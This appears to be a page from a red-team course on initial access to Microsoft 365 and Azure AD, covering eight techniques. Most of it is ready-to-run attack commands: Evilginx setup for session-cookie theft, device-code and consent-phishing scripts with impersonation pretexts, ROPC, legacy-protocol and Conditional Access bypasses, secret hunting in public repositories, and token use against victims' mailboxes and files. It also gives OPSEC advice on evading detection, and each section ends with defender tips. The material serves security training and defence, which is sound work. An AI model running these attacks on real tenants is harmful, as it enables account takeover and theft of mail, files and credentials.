🎯 Phase 2 Progress

0 / 8 completed

🛠 Tools Used in This Phase

Evilginx TokenTactics AADInternals ROADtools curl MFASweep trufflehog gitleaks GraphRunner Microsoft.Graph

🎣 Phishing & Social Engineering

1 Credential Harvesting Phishing (Evilginx)

Evilginx is a man-in-the-middle attack framework that sits between the victim and the real Microsoft login page. Unlike traditional credential phishing that uses cloned pages, Evilginx acts as a reverse proxy — it serves the genuine Microsoft 365 login page to the victim while intercepting credentials and session tokens in real time. This means it defeats most MFA implementations because it captures the fully-authenticated session cookie after the user completes their MFA challenge.

OPSEC: Evilginx requires a domain and valid TLS certificate. Use a domain that closely resembles the target's legitimate infrastructure. Ensure your phishing domain does not appear on known blocklists. Consider using aged domains to avoid reputation-based filtering.

Setting Up Evilginx

Install Evilginx on your attack infrastructure (a VPS with a public IP and a domain pointed at it). The following commands configure the framework for targeting Microsoft 365 login.

Evilginx CLI
# Set the server's public IP and domain
config domain yourdomain.com
config ipv4 203.0.113.50

# Configure the Microsoft 365 phishlet hostname
phishlets hostname o365 login.yourdomain.com

# Enable the O365 phishlet
phishlets enable o365

# Create a lure (the phishing URL to send to the target)
lures create o365

# Optionally set a redirect URL after capture
lures edit 0 redirect_url https://www.office.com

# Get the phishing URL
lures get-url 0

How the Attack Works

  1. The attacker sends the Evilginx lure URL to the victim (via email, Teams message, SMS, etc.).
  2. The victim clicks the link and sees the real Microsoft login page, proxied through Evilginx.
  3. The victim enters their username, password, and completes any MFA challenge as normal.
  4. Evilginx intercepts the session cookies (ESTSAUTH, ESTSAUTHPERSISTENT) issued by Microsoft after successful authentication.
  5. The attacker imports these cookies into their own browser to hijack the authenticated session without needing the password or MFA token.
Evilginx CLI
# View captured sessions
sessions

# View details of a specific captured session
sessions 1

# Output includes: username, password, captured tokens/cookies
# Import the ESTSAUTH cookie into your browser to hijack the session
🛡
Defender Tip: Token theft via Evilginx can be mitigated by deploying phishing-resistant MFA such as FIDO2 security keys or Windows Hello for Business. These methods use origin-bound credentials that cannot be proxied. Conditional Access policies enforcing compliant/hybrid-joined devices also reduce the impact since the attacker's machine will not satisfy device compliance checks.
2 Device Code Phishing (OAuth Device Code Flow)

The OAuth 2.0 device authorization grant (RFC 8628) is designed for input-constrained devices like smart TVs. The attacker generates a device code, then tricks the victim into entering it at https://microsoft.com/devicelogin. When the victim authenticates with the code, the attacker receives valid access and refresh tokens for the victim's account. This attack is highly effective because the user authenticates on the legitimate Microsoft domain — no fake login page is needed.

Context: Device code phishing is particularly effective against security-aware users because the authentication occurs on the genuine login.microsoftonline.com domain. The user sees a real Microsoft page, a valid TLS certificate, and a standard MFA prompt. The device code expires after 15 minutes, so the social engineering pretext must create urgency.

Generating the Device Code

Use TokenTactics (a PowerShell module for Azure AD token manipulation) to generate a device code targeting Microsoft Graph.

PowerShell (TokenTactics)
# Import TokenTactics module
Import-Module TokenTactics

# Generate a device code for Microsoft Graph
Get-AzureToken -Client MSGraph -Device

# Output will display:
#   user_code   : ABCD1234
#   device_code : <long device code string>
#   message     : To sign in, use a web browser to open
#                 https://microsoft.com/devicelogin and enter
#                 the code ABCD1234 to authenticate.

# The tool will poll for token completion automatically
# Once the victim enters the code and authenticates,
# you receive access_token and refresh_token

Alternative: Using AADInternals

PowerShell (AADInternals)
# Import AADInternals
Import-Module AADInternals

# Initiate device code flow
$response = Invoke-AADIntDeviceCodeFlow

# Display the user code to send to the victim
$response.user_code
# Output: ABCD1234

# Wait for the victim to authenticate
$tokens = Wait-AADIntDeviceCodeFlowCompletion -DeviceCodeResponse $response

# The $tokens object now contains access_token and refresh_token
$tokens.access_token

Alternative: Raw curl Request

Bash
# Step 1: Request the device code
curl -s -X POST \
  "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  -d "scope=https://graph.microsoft.com/.default offline_access"

# Returns: user_code, device_code, verification_uri, expires_in
# Send the user_code and verification_uri to the victim

# Step 2: Poll for token (repeat until authorized or expired)
curl -s -X POST \
  "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  -d "device_code=<DEVICE_CODE_FROM_STEP_1>"

Social Engineering Pretexts

  • IT Support: "We're migrating your account to new infrastructure. Please visit microsoft.com/devicelogin and enter code ABCD1234 to re-verify."
  • Teams Message: Impersonate a colleague or IT admin via Teams, claiming they need the user to approve a new device.
  • MFA Reset: "Your MFA is being upgraded. Verify your identity at the Microsoft portal using code ABCD1234."
OPSEC: Device codes expire after 15 minutes. Generate the code immediately before sending the phish. The client_id d3590ed6-52b3-4102-aeff-aad2292ab01c is the Microsoft Office first-party app — using first-party client IDs avoids triggering consent prompts and looks less suspicious in sign-in logs.
🛡
Defender Tip: Block the device code flow by creating a Conditional Access policy that blocks the "Device Code Flow" authentication flow (under Conditions > Authentication Flows). Monitor sign-in logs for sign-ins with the "Device Code" protocol. Educate users to never enter device codes they did not generate themselves.
3 Consent Phishing (Illicit Consent Grant)

Consent phishing exploits the Azure AD OAuth consent mechanism. The attacker registers a malicious application in their own Azure AD tenant and crafts an authorization URL requesting dangerous permissions (such as Mail.Read, Files.ReadWrite.All, User.Read). When a target user clicks the link and grants consent, the attacker's application receives persistent API access to the user's data — no password or token theft required. The attacker can then silently read email, download files, and more via the Microsoft Graph API using the granted tokens.

Context: This attack is persistent because the granted permissions remain in effect until an administrator revokes the consent. The attacker receives a refresh token that can be used indefinitely to generate new access tokens, even if the user changes their password or resets MFA.

Step A: Register the Malicious Application

In your attacker-controlled Azure AD tenant (or a free Azure account), register a new application with a redirect URI you control.

Azure Portal / CLI Steps
# 1. Go to Azure Portal > Azure Active Directory > App registrations > New registration
# 2. Name: "SharePoint Document Viewer" (make it look legitimate)
# 3. Supported account types: "Accounts in any organizational directory" (multi-tenant)
# 4. Redirect URI: https://your-attacker-server.com/callback (Web)
# 5. After creation, note the Application (client) ID
# 6. Under Certificates & secrets, create a new client secret
# 7. Under API permissions, add delegated permissions:
#    - Microsoft Graph: Mail.Read, Mail.ReadWrite
#    - Microsoft Graph: Files.ReadWrite.All
#    - Microsoft Graph: User.Read
#    - Microsoft Graph: Contacts.Read
# Do NOT grant admin consent — the victim user will grant consent

Step B: Craft the Authorization URL

Build the OAuth 2.0 authorization URL that will prompt the victim to grant consent to your malicious application.

OAuth Authorization URL
# The consent phishing URL
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
  client_id=<YOUR_MALICIOUS_APP_CLIENT_ID>
  &response_type=code
  &redirect_uri=https://your-attacker-server.com/callback
  &scope=openid profile email Mail.Read Mail.ReadWrite Files.ReadWrite.All User.Read offline_access
  &response_mode=query
  &state=random_state_value

Step C: Exchange the Authorization Code for Tokens

When the victim grants consent, Microsoft redirects them to your redirect_uri with an authorization code. Exchange this for access and refresh tokens.

Bash
# Exchange authorization code for tokens
curl -s -X POST \
  "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=<YOUR_MALICIOUS_APP_CLIENT_ID>" \
  -d "client_secret=<YOUR_APP_SECRET>" \
  -d "code=<AUTHORIZATION_CODE_FROM_REDIRECT>" \
  -d "redirect_uri=https://your-attacker-server.com/callback" \
  -d "grant_type=authorization_code" \
  -d "scope=openid profile email Mail.Read Mail.ReadWrite Files.ReadWrite.All User.Read offline_access"

# Response contains: access_token, refresh_token, id_token
# Use the access_token to call Microsoft Graph on behalf of the victim

# Example: Read victim's mailbox
curl -s -H "Authorization: Bearer <ACCESS_TOKEN>" \
  "https://graph.microsoft.com/v1.0/me/messages?\$top=10&\$select=subject,from,receivedDateTime"
OPSEC: Name your malicious app to mimic a legitimate enterprise application (e.g., "SharePoint Document Viewer", "Teams Meeting Helper"). Use a professional-looking publisher name and icon. The consent prompt shows the app name and requested permissions — less suspicious names reduce user hesitation.
🛡
Defender Tip: Configure a consent policy that requires admin approval for all third-party app consent requests (Enterprise Applications > Consent and permissions > User consent settings > "Do not allow user consent"). Enable the admin consent workflow so users can request apps but cannot approve them independently. Regularly audit granted application permissions via the Enterprise Applications blade or using Get-MgServicePrincipal.

🔑 Authentication Endpoint Abuse

4 ROPC (Resource Owner Password Credential) Authentication

The Resource Owner Password Credential (ROPC) grant type allows an application to authenticate a user by directly sending their username and password to the Azure AD token endpoint. This is an OAuth 2.0 legacy flow intended for migration scenarios, but when it is not disabled it provides a direct path from credentials to tokens — without any browser interaction, MFA prompt, or conditional access evaluation (in many configurations).

Context: ROPC only works when the user has no MFA requirement and legacy authentication or the ROPC flow is not blocked by Conditional Access. It does not work for federated accounts (ADFS/PingFederate) since those require browser-based redirects. It also fails for accounts with mandatory MFA. However, service accounts and shared mailboxes are frequently left without MFA — making them prime ROPC targets.

Direct Token Request via curl

Bash
# ROPC authentication - directly exchange username/password for tokens
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
  -d "grant_type=password" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  -d "scope=https://graph.microsoft.com/.default offline_access" \
  -d "username=user@target.com" \
  -d "password=Password123!"

# If successful, returns: access_token, refresh_token, token_type, expires_in
# If MFA is required: AADSTS50076 error
# If legacy auth blocked: AADSTS7000218 or AADSTS50126 error

Using AADInternals

PowerShell (AADInternals)
# Authenticate via ROPC using AADInternals
$cred = Get-Credential
$tokens = Get-AADIntAccessTokenForMSGraph -Credentials $cred

# Or with explicit username/password
$password = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("user@target.com", $password)
Get-AADIntAccessTokenForMSGraph -Credentials $cred -SaveToCache

Testing Multiple Resources

Different resource scopes may have different conditional access enforcement. Test ROPC against multiple resources:

Bash
# Test ROPC against different resource scopes
# Microsoft Graph
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"

# Exchange Online (Outlook)
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://outlook.office365.com/.default&username=user@target.com&password=Pass123!"

# SharePoint Online
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://<TENANT>.sharepoint.com/.default&username=user@target.com&password=Pass123!"

# Azure Management
curl -s -X POST "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://management.azure.com/.default&username=user@target.com&password=Pass123!"
🛡
Defender Tip: Block the ROPC flow via Conditional Access (Conditions > Authentication Flows > Resource Owner Password Credentials Flow > Block). Enforce MFA for all users including service accounts. Review sign-in logs filtering for "Resource Owner Password Credential" as the authentication protocol. Consider using Managed Identities for services instead of password-based service accounts.
5 Legacy Protocol Abuse (IMAP, POP3, SMTP, EWS, ActiveSync)

Legacy authentication protocols in M365 do not support modern authentication flows and therefore cannot enforce MFA. If Conditional Access policies do not explicitly block legacy authentication, an attacker with valid credentials can authenticate via these protocols and bypass MFA entirely. Common legacy protocols include IMAP, POP3, SMTP AUTH, Exchange Web Services (EWS), Exchange ActiveSync, Autodiscover, and legacy Outlook clients (pre-MAPI over HTTP).

Context: Microsoft has been progressively deprecating Basic Authentication for legacy protocols. As of late 2022, Basic Auth was disabled for most protocols in most tenants. However, SMTP AUTH is still available by default for mailbox-level configuration, and some tenants may have re-enabled Basic Auth for specific protocols. Always test — the actual state often differs from policy intent.

Testing IMAP Authentication

Bash
# Test IMAP Basic Authentication against Exchange Online
openssl s_client -connect outlook.office365.com:993 -crlf -quiet

# Once connected, authenticate:
a1 LOGIN user@target.com Password123!

# If successful: a1 OK LOGIN completed.
# If Basic Auth blocked: a1 NO LOGIN failed (BAD username or password)

Testing POP3 Authentication

Bash
# Test POP3 Basic Authentication
openssl s_client -connect outlook.office365.com:995 -crlf -quiet

# Once connected:
USER user@target.com
PASS Password123!

# If successful: +OK User successfully logged on.

Testing SMTP AUTH

Bash
# Test SMTP AUTH (often still enabled for application relay)
openssl s_client -connect smtp.office365.com:587 -starttls smtp -crlf -quiet

# Send EHLO and AUTH LOGIN
EHLO test.com
AUTH LOGIN
# Enter base64-encoded username
dXNlckB0YXJnZXQuY29t
# Enter base64-encoded password
UGFzc3dvcmQxMjMh

# Generate base64 values:
echo -n "user@target.com" | base64
echo -n "Password123!" | base64

Testing with MFASweep

MFASweep automates testing multiple protocols and authentication methods to find those that bypass MFA.

PowerShell (MFASweep)
# Import MFASweep
Import-Module .\MFASweep.ps1

# Run a full sweep of authentication protocols
Invoke-MFASweep -Username user@target.com -Password Password123!

# MFASweep tests the following protocols:
#  - Exchange Web Services (EWS)
#  - Microsoft Graph API
#  - Azure Service Management API
#  - Microsoft 365 Exchange ActiveSync
#  - ADFS (if federated)
#  - Legacy Outlook/EWS endpoints
# Output shows which methods succeed, fail, or require MFA

Testing Exchange Web Services (EWS)

Bash
# Test EWS Basic Authentication
curl -s -u "user@target.com:Password123!" \
  "https://outlook.office365.com/EWS/Exchange.asmx" \
  -H "Content-Type: text/xml"

# HTTP 200 = Basic Auth is working (MFA bypassed)
# HTTP 401 = Credentials wrong or Basic Auth disabled
# HTTP 456 = MFA required / Conditional Access blocked
OPSEC: Legacy protocol authentication attempts generate sign-in logs in Azure AD. These events may trigger alerts in tenants with mature monitoring. Test with a small number of accounts first. IMAP/POP3 authentication failures can also trigger account lockout if Smart Lockout is configured.
🛡
Defender Tip: Create a Conditional Access policy that blocks legacy authentication for all users (Conditions > Client apps > select "Exchange ActiveSync clients" and "Other clients" > Block). Disable SMTP AUTH at the tenant level via Set-TransportConfig -SmtpClientAuthenticationDisabled $true, then selectively enable it per-mailbox only where strictly necessary. Review the Azure AD sign-in logs with a filter for "Legacy Authentication Client" to identify ongoing usage.
6 Conditional Access Bypass Techniques

Conditional Access (CA) policies are the primary gatekeeper in Azure AD for enforcing MFA, device compliance, and location-based controls. However, CA policies are only effective against the conditions they are configured to cover. Gaps in coverage — uncovered client app types, specific platform exceptions, untargeted cloud apps, or excluded user groups — can be identified and exploited to achieve authentication without triggering MFA or other controls.

Context: Conditional Access evaluation happens at token issuance time. The policy engine evaluates: the user/group, the cloud application (resource), the client application ID, the device platform, the network location (IP), the sign-in risk level, and the client app type. If a combination of these factors is not covered by any CA policy, the authentication proceeds without additional controls.

Testing Different Client Application IDs

CA policies can target specific cloud apps but may not cover all first-party Microsoft client IDs. Try authenticating using different well-known client IDs to see if CA enforcement differs.

Bash
# Common first-party Microsoft client IDs to test
# Microsoft Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
# Azure CLI:        04b07795-a71b-4346-935f-02f9a1efa4ce
# Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2
# Microsoft Teams:  1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Outlook Mobile:   27922004-5251-4030-b22d-91ecd9a37084
# OneDrive:         ab9b8c07-8f02-4f72-87fa-80105867a763
# MS Graph PowerShell: 14d82eec-204b-4c2f-b7e8-296a70dab67e
# Windows AzureAD:  00000002-0000-0000-c000-000000000000

# Test ROPC with Azure CLI client ID (often less restricted)
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -d "grant_type=password" \
  -d "client_id=04b07795-a71b-4346-935f-02f9a1efa4ce" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "username=user@target.com" \
  -d "password=Password123!"

# If one client_id triggers MFA but another doesn't,
# the CA policy has a gap in cloud app coverage

Testing Platform Spoofing

CA policies may enforce MFA only for specific platforms (e.g., Windows, macOS) but not others (e.g., Linux, mobile). User-Agent manipulation can influence platform detection.

Bash
# Test with different User-Agent strings to simulate platforms

# Simulate Linux (often not covered by device compliance policies)
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" \
  -d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"

# Simulate iOS
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)" \
  -d "grant_type=password&client_id=27922004-5251-4030-b22d-91ecd9a37084&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"

MFASweep: Automated CA Gap Testing

PowerShell (MFASweep)
# MFASweep tests multiple authentication endpoints and protocols
# to identify which ones bypass MFA/CA policies
Invoke-MFASweep -Username user@target.com -Password Password123!

# Example output:
# [*] Testing Microsoft Graph API...              MFA Required
# [*] Testing Exchange Web Services...             Success! (No MFA)
# [*] Testing Azure Service Management API...      MFA Required
# [*] Testing Exchange ActiveSync...               Success! (No MFA)
# [*] Testing ADFS endpoint...                     Not Federated
#
# Any "Success" result without MFA indicates a CA policy gap

Exploiting Named Location Gaps

If CA policies use named locations (trusted IPs) to skip MFA, VPN or cloud hosting in those IP ranges can bypass controls.

Bash
# If the target has trusted office IPs that bypass MFA,
# authenticate from within those IP ranges

# Check if the target uses known cloud IP ranges as "trusted"
# Common mistake: trusting broad Azure/AWS CIDR blocks

# Test authentication from a VPS in the same cloud region
# as the target's infrastructure to see if MFA is skipped
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/token" \
  -d "grant_type=password&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&username=user@target.com&password=Pass123!"

# If this succeeds without MFA from a cloud VPS IP but fails
# from your home IP, the named location trust is too broad
🛡
Defender Tip: Use the "All cloud apps" target in at least one baseline CA policy that requires MFA, rather than listing apps individually. Ensure all device platforms are covered — including Linux and "any platform". Do not exclude break-glass accounts from logging and alerting even if they are excluded from MFA policies. Regularly run the Conditional Access What If tool to simulate different scenarios and identify gaps.

🔍 Token-Based Attacks

7 Token Theft from Public Sources

Developers and administrators frequently commit secrets to public repositories by accident. Azure AD client secrets, OAuth tokens, connection strings containing credentials, and API keys for Microsoft Graph can all be found in public code repositories (GitHub, GitLab, Bitbucket), paste sites (Pastebin, Gist), CI/CD configurations, Docker images, and public documentation. Finding and using these leaked credentials provides initial access without any user interaction.

Context: Common secrets to look for include: Azure AD app client secrets, connection strings with passwords, SAS tokens for Azure Storage, PFX/PEM certificate files, refresh tokens, and keys in ARM templates or Terraform state files. Microsoft has integrated secret scanning in GitHub to detect some of these, but coverage is not comprehensive and there is a delay between commit and detection.

Scanning with TruffleHog

Bash (trufflehog)
# Scan a specific GitHub organization for secrets
trufflehog github --org=target-org --only-verified

# Scan a specific repository
trufflehog github --repo=https://github.com/target-org/target-repo

# Scan including commit history (finds rotated/deleted secrets)
trufflehog git https://github.com/target-org/target-repo.git

# Scan a local clone with full history
trufflehog filesystem --directory=./cloned-repo

# Scan GitLab
trufflehog gitlab --token=glpat-xxxx --group=target-group

Scanning with Gitleaks

Bash (gitleaks)
# Scan a repository including full git history
gitleaks detect --source=./cloned-repo -v

# Scan and output results in JSON format
gitleaks detect --source=./cloned-repo --report-format=json --report-path=results.json

# Scan a specific branch
gitleaks detect --source=./cloned-repo --log-opts="--branches=main"

Manual GitHub Searching (GitHub Dorks)

GitHub Search Queries
# Search for Azure AD client secrets in target's repos
org:target-org "client_secret"
org:target-org "ClientSecret"
org:target-org "tenantId" "clientId" "clientSecret"

# Search for connection strings
org:target-org "DefaultEndpointsProtocol" "AccountKey"
org:target-org "Server=tcp:" "Password="
org:target-org "Data Source=" "Password="

# Search for OAuth tokens and refresh tokens
org:target-org "refresh_token"
org:target-org "eyJ0eXAiOiJKV1QiL"   # Base64 JWT prefix

# Search for PFX/certificate passwords
org:target-org "pfx" "password"
org:target-org extension:pfx
org:target-org extension:pem "PRIVATE KEY"

# Search for Azure deployment credentials
org:target-org "AZURE_CLIENT_SECRET"
org:target-org "ARM_CLIENT_SECRET"
org:target-org filename:.env "AZURE"
org:target-org filename:terraform.tfstate

Using Found Secrets

Bash
# If you find an app registration client_id + client_secret,
# authenticate as the service principal (app-only)
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
  -d "grant_type=client_credentials" \
  -d "client_id=<LEAKED_CLIENT_ID>" \
  -d "client_secret=<LEAKED_CLIENT_SECRET>" \
  -d "scope=https://graph.microsoft.com/.default"

# If you find a refresh token, exchange it for new tokens
curl -s -X POST \
  "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "grant_type=refresh_token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
  -d "refresh_token=<LEAKED_REFRESH_TOKEN>" \
  -d "scope=https://graph.microsoft.com/.default"
OPSEC: Leaked secrets may be honeytokens deliberately planted by the defensive team. Using them can trigger immediate alerts. Check whether the secret appears intentionally placed (e.g., in a repository named "canary" or "honeypot"). Test carefully and be prepared for detection.
🛡
Defender Tip: Enable GitHub Advanced Security secret scanning on all organization repositories. Implement pre-commit hooks using gitleaks or trufflehog to prevent secrets from being committed. Rotate all exposed credentials immediately when detected. Use Azure Managed Identities and Azure Key Vault to eliminate hardcoded secrets. Deploy honeytokens (canary credentials) in public-facing code to detect credential theft attempts.
8 Exploiting Misconfigured Service Principals

Service principals (the identity objects backing Azure AD app registrations) authenticate using client credentials (secrets or certificates) via the OAuth 2.0 client credentials grant. Unlike user accounts, service principals do not go through interactive authentication and are not subject to MFA. If a service principal has overly broad permissions (e.g., Mail.ReadWrite, Files.ReadWrite.All, Directory.ReadWrite.All) and its credentials are weak, exposed, or obtainable, it provides a powerful initial access vector that completely bypasses user-facing security controls.

Context: App registrations can have two types of credentials: client secrets (passwords) and certificates. Client secrets are strings that can be found in config files, leaked repos, or environment variables. Certificates are more secure but the private key (.pfx/.pem) can also be leaked. The client credentials grant returns application-level tokens that carry the permissions configured in "Application permissions" (not delegated permissions).

Enumerating Service Principals with Exposed Credentials

PowerShell (Microsoft Graph)
# If you have any valid token (even low-privilege), enumerate app registrations
# Look for apps with password credentials (client secrets)

# Using Microsoft Graph API
$headers = @{ Authorization = "Bearer $accessToken" }

# List all applications (requires Directory.Read.All or Application.Read.All)
$apps = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications?\$select=displayName,appId,passwordCredentials,keyCredentials" -Headers $headers

# Find apps with password credentials (client secrets)
$apps.value | Where-Object { $_.passwordCredentials.Count -gt 0 } | Select-Object displayName, appId

# Find apps with key credentials (certificates)
$apps.value | Where-Object { $_.keyCredentials.Count -gt 0 } | Select-Object displayName, appId

Checking Service Principal Permissions

PowerShell (Microsoft Graph)
# Get the service principal's granted application permissions
$spId = "<SERVICE_PRINCIPAL_OBJECT_ID>"

# List app role assignments (application permissions granted with admin consent)
$roles = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/appRoleAssignments" -Headers $headers

# Each entry shows the resourceDisplayName and appRoleId
# Cross-reference appRoleId with the resource's published roles
# to determine the permission name (e.g., Mail.ReadWrite, Files.Read.All)

$roles.value | ForEach-Object {
    Write-Host "Resource: $($_.resourceDisplayName) | Role ID: $($_.appRoleId)"
}

# Look for high-value permissions:
# - Directory.ReadWrite.All (can modify any directory object)
# - Mail.ReadWrite (read/write any user's mailbox)
# - Files.ReadWrite.All (access any user's OneDrive/SharePoint files)
# - RoleManagement.ReadWrite.Directory (assign directory roles)
# - Application.ReadWrite.All (create/modify any application)

Authenticating as a Service Principal

Bash
# Client credentials grant — authenticate as the service principal
curl -s -X POST \
  "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
  -d "grant_type=client_credentials" \
  -d "client_id=<APP_CLIENT_ID>" \
  -d "client_secret=<APP_CLIENT_SECRET>" \
  -d "scope=https://graph.microsoft.com/.default"

# Returns an application-level access token
# This token carries ALL application permissions granted to the app
# No MFA, no user interaction, no Conditional Access evaluation

Certificate-Based Service Principal Auth

PowerShell
# If you obtained a certificate (.pfx) for a service principal
$cert = Get-PfxCertificate -FilePath "./leaked-cert.pfx"

# Using Microsoft.Graph PowerShell
Connect-MgGraph -ClientId "<APP_CLIENT_ID>" -TenantId "<TENANT_ID>" -Certificate $cert

# Using AADInternals with certificate
$token = Get-AADIntAccessTokenForMSGraph -ClientId "<APP_CLIENT_ID>" -TenantId "<TENANT_ID>" -PfxFileName "./leaked-cert.pfx"

Post-Access: Using Service Principal Tokens

Bash
# With an application token for a service principal that has Mail.ReadWrite:
# Read any user's mailbox
curl -s -H "Authorization: Bearer <APP_TOKEN>" \
  "https://graph.microsoft.com/v1.0/users/ceo@target.com/messages?\$top=10&\$select=subject,from"

# With Files.ReadWrite.All: access any user's OneDrive
curl -s -H "Authorization: Bearer <APP_TOKEN>" \
  "https://graph.microsoft.com/v1.0/users/cfo@target.com/drive/root/children"

# With Directory.ReadWrite.All: enumerate all users, groups, roles
curl -s -H "Authorization: Bearer <APP_TOKEN>" \
  "https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,jobTitle"
OPSEC: Service principal sign-ins appear in a separate log from user sign-ins in Azure AD (Service principal sign-ins under Monitoring). Organisations with mature SOC capabilities may alert on service principal authentications from unexpected IP addresses. Additionally, accessing mailboxes or files via application permissions may trigger Microsoft Purview or Defender for Cloud Apps alerts.
🛡
Defender Tip: Audit all app registrations and their permissions regularly. Remove unused applications and credentials. Enforce the principle of least privilege for application permissions — prefer delegated permissions where possible. Implement Workload Identity Federation instead of client secrets for external applications. Set short expiry periods on client secrets. Monitor the "Service principal sign-ins" log for authentication from unexpected locations or unusual API call patterns. Use Conditional Access for workload identities (requires Azure AD P2) to restrict service principal sign-ins by IP.